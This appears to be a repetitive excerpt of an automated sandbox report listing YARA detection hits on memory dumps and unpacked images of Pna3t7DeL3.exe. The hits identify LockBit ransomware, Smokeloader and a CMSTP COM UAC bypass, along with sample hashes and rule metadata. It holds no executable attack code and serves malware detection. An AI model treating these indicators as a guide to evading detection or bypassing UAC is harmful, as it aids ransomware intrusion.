Source: 00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 Author: unknown
Source: 00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 Author: unknown
Source: 00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: Pna3t7DeL3.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 18.3.Pna3t7DeL3.exe.4940000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 18.3.Pna3t7DeL3.exe.4940000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 18.3.Pna3t7DeL3.exe.4940000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 18.3.Pna3t7DeL3.exe.4940000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 34.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 34.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 34.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 34.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 34.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 34.2.Pna3t7DeL3.exe.4910e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 34.2.Pna3t7DeL3.exe.4910e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 34.2.Pna3t7DeL3.exe.4910e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 34.2.Pna3t7DeL3.exe.4910e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 34.2.Pna3t7DeL3.exe.4910e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 18.3.Pna3t7DeL3.exe.4940000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 18.3.Pna3t7DeL3.exe.4940000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 18.3.Pna3t7DeL3.exe.4940000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 18.3.Pna3t7DeL3.exe.4940000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 10.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 10.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 10.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 10.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 10.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 34.2.Pna3t7DeL3.exe.4910e67.1.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 34.2.Pna3t7DeL3.exe.4910e67.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 34.2.Pna3t7DeL3.exe.4910e67.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 34.2.Pna3t7DeL3.exe.4910e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 34.2.Pna3t7DeL3.exe.4910e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 18.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 18.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 18.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 18.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 18.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 10.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 10.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 10.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 10.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 10.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 0.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 0.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 0.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 0.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 18.2.Pna3t7DeL3.exe.4840e67.1.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 18.2.Pna3t7DeL3.exe.4840e67.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 18.2.Pna3t7DeL3.exe.4840e67.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 18.2.Pna3t7DeL3.exe.4840e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 18.2.Pna3t7DeL3.exe.4840e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 18.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 18.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 18.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 18.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 18.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
